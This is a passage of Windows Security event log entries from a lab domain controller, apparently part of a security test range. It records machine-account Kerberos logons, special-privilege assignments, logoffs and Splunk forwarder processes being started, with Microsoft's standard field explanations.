may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:37:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256657 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x43C3BF - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {250C95BA-D7BE-68DE-E803-AA7B4845FE00} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 65475 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:37:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256656 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x43C3BF - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:37:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256655 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x43C31A - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 65474 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:37:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256654 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x43C31A - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:37:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256653 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x43C2D1 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 0 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:37:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256652 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x43C2D1 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:37:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256651 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x43C1C3 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 65473 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:37:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256650 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x43C1C3 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:37:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256662 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb44 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:37:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256663 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xda8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:37:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256664 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1274 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:37:22 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256665 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x43C3BF - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:37:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256668 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x43E9FB - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:37:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256667 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x43E9FB - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 65486 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:37:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256666 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x43E9FB - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:38:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256670 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x264 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:38:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256669 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x130c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:38:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256671 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x104c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:38:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256672 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10c0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:38:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256673 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xcf4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:38:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256674 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x111c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:38:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256675 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4d0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:38:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256678 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x441F78 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:38:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256677 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 